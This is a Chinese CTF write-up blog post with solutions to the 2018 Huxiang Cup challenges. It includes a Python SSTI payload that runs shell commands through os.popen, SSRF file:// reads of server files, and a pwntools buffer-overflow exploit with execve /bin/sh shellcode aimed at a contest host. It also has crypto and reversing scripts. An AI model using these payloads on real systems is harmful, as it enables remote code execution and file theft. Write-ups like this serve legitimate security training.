湖湘杯wp

1、Misc Disk

解题思路、相关代码和Flag截图:
使用用FTK软件加载vmdk文件,然后拼接ads文件中的二进制字符串,得到flag

2、Misc Flow

解题思路、相关代码和Flag截图:
流量包,搜索到
http://mslc.ctf.su/wp/nuitduhack-2012-prequals-sciteekadm-cap/
首先使用aircrack-ng 破解密码

后使用解压出加密的流量包

3、Misc Hidden write

提取出3张图片,使用zteg工具解出部分flag,根据题目提示文件尾拿到另一部分flag,最后一部分猜测是盲水印,找到https://github.com/chishaxie/BlindWaterMark
python bwm.py decode 11.png longmao.png test1.png
解压出最后一部分flag


4、Web Readflag

file协议读取到web.php

发现可以直接读取url=file:///var/www/html/ssrf/readflag 文件, string 文件,发现rflagerror,猜测是read flag, 尝试读取url=file:///var/www/html/ssrf/flag,直接读取到flag

5、Web Xmeo

模板注入,实现文件读取

1
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -r -n "hxb" /home').read()}}

6、Web CodeCheck




7、Web Mynote

访问robots.txt发现flag.php
查看图片的页面里,通过设置cookie可以直接读到flag.php base64值,base64_decode就能得到flag

8、Crypto Common Crypto

跟进去明显发现是AES加密,动态调试得知String1是1B2E3546586E72869BA7B5C8D9EFFF0C固定不变的,当作密钥,经过AES的ECB模式解密后,发现前一半flag,但后一半乱码,经过不断尝试发现“4aee37c73d902a185407ebef96b2798539646536663335323135323035353636”后一半就是16进制字符串,解码后,拼接,得到flag
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1from Crypto.Cipher import AES
2from Crypto.Cipher import DES3
3
4、 out = "4aee37c73d902a185407ebef96b2798539646536663335323135323035353636"
5、 out1= "4aee37c73d902a185407ebef96b27985"
6、 out2= "39646536663335323135323035353636"
7、 key_str = "1B2E3546586E72869BA7B5C8D9EFFF0C"
8、 key_value = int("0x"+key_str,16)
9
10、 reverse = key_str.decode("hex")[::-1].encode("hex")
11#print reverse
12print hex(key_value)
13、 aes = AES.new(key_str.decode("hex"), AES.MODE_ECB, "\x22"*16)
14、 cipher = aes.decrypt(out1.decode("hex"))
15、 cipher2 = out2.decode("hex")
16print cipher + cipher2 + "}"

9、PWN Regex Format

输入的payload作为全局变量matchString,送到dealWithMatch函数中,因其存在buffer size溢出漏洞,能达到1000, 可以修改main函数的返回地址,进而拿到flag,最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('47.107.237.236',8888)
code="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"+"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"+"\x0b\xcd\x80"
jmp = 0x804a34b
p.sendlineafter('format',":a"+p32(jmp)+"$*")
payload = "Before use it, understand it first."
payload += "a"*(216)
payload += p32(jmp)
payload += code
p.sendlineafter('match',payload)
p.sendlineafter('[Y/n]','n')
p.interactive()

10、Reverse HighwayHash64

主要依靠ida工具以及开源highwayhash工具。
通过ida可知,reverse.exe程序对输入的判断分为两步,第一步是长度校验,第二步,结合题目名称及代码结构,可以判断是highwayhash摘要运算。
第一步,通过多次动态调试,可以得出长度是10(digit部分)。然后制作工具,遍历所有10位数字,大约不到20分钟,得到符合哈希值的原文,也就是flag。

获取哈希值(碰撞的目标):

制作碰撞工具:
参考:https://github.com/google/highwayhash,
此时应该注意,在编译highwayhash库的时候,应该使用与reverse.exe中一样的HighwayHashReset参数。

碰撞出结果:

验证:

11、Reverse Replace

简单的逆向,发现UPX壳,脱壳后,定位主要函数,主要是在check函数中检查35个字符是否相等,直接爆破即可,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
text1 = "2a49f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad67786e21d5adae6"

text2 = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x1, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x4, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x5, 0x9a, 0x7, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x9, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x0, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x2, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0xc, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0xb, 0xdb, 0xe0, 0x32, 0x3a, 0xa, 0x49, 0x6, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x8, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x3, 0xf6, 0xe, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0xd, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0xf, 0xb0, 0x54, 0xbb, 0x16, ]

flag = ""
for i in range(35):
for l4 in range(16):
for h4 in range(16):
v8 = text1[2*i]
if ord(v8) > ord('9') or ord(v8) < ord('0'):
v9 = ord(v8) - 87
else:
v9 = ord(v8) - 48
v10 = text1[i * 2 + 1]
v11 = 16 * v9
if ord(v10) > ord('9') or ord(v10)< ord('0'):
v12 = ord(v10) - 87
else:
v12 = ord(v10) - 48

if text2[16*h4 + l4] == (0x19^(v11 + v12)):
flag += chr(h4 * 16 + l4)
break
#print flag
# flag{Th1s_1s_Simple_Rep1ac3_Enc0d3}
文章作者: Ginove
文章链接: https://ginove.github.io/2018/11/19/湖湘杯wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove